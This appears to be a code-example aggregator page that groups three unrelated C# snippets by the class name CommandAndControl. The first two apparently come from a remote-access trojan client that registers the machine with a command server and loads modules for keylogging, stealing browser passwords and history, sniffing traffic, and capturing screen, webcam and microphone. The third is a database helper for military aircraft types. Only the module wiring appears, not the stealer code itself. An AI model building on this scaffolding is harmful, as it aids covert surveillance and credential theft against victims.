Beispiel #1
0
        private void InitModules()
        {
            var configs = CommandAndControl.GetModuleConfigurations(Configurator.Instance.UniqueId);

            _modules.Add(new ScreenCaptureModule(GetIntervalForModuleId(ScreenCaptureModule.ModuleId, configs)));
            _modules.Add(new BrowserPasswordStealerModule(GetIntervalForModuleId(BrowserPasswordStealerModule.ModuleId, configs)));
            _modules.Add(new BrowserHistoryStealerModule(GetIntervalForModuleId(BrowserHistoryStealerModule.ModuleId, configs)));
            _modules.Add(new HttpTrafficSnifferModule(GetIntervalForModuleId(HttpTrafficSnifferModule.ModuleId, configs)));
            _modules.Add(new KeyloggerModule(GetIntervalForModuleId(KeyloggerModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(InfectionModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(CommandModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(FileExplorerModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(FileUploader.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(FileDownloaderModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(ProcessModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(WebcamModule.ModuleId, configs)));
            _modules.Add(new InfectionModule(GetIntervalForModuleId(MicModule.ModuleId, configs)));
        }
Beispiel #2
0
        private void FrmMain_Load(object sender, EventArgs e)
        {
            if (CommandAndControl.Ping(Configurator.Instance.UniqueId))
            {
                CommandAndControl.RegisterMachineAlive(Configurator.Instance.UniqueId);

                InitModules();

                foreach (var m in Modules)
                {
                    AddClock(m);
                }
            }
            else
            {
                //TODO: what happens if we dont have connectiviy?
            }
        }
Beispiel #3
0
        internal static void AddFWA(object Item, string SType)
        {
            using (var db = new DatabaseContext())
            {
                switch (SType)
                {
                case "Bomber":
                    Bomber tempB = new Bomber();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempB, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempB);
                    break;

                case "CommandAndControl":
                    CommandAndControl tempCAC = new CommandAndControl();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempCAC, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempCAC);
                    break;

                case "Fighter":
                    Fighter tempF = new Fighter();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempF, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempF);
                    break;

                case "GroundAttack":
                    GroundAttack tempGA = new GroundAttack();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempGA, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempGA);
                    break;

                case "Gunship":
                    Gunship tempG = new Gunship();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempG, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempG);
                    break;

                case "Transport":
                    Transport tempT = new Transport();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempT, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempT);
                    break;

                case "UAV":
                    Transport tempU = new Transport();
                    foreach (PropertyInfo x in Item.GetType().GetProperties())
                    {
                        x.SetValue(tempU, x.GetValue(Item));
                    }
                    db.FixedWingAircraft.Add(tempU);
                    break;
                }
                db.SaveChanges();
            }
        }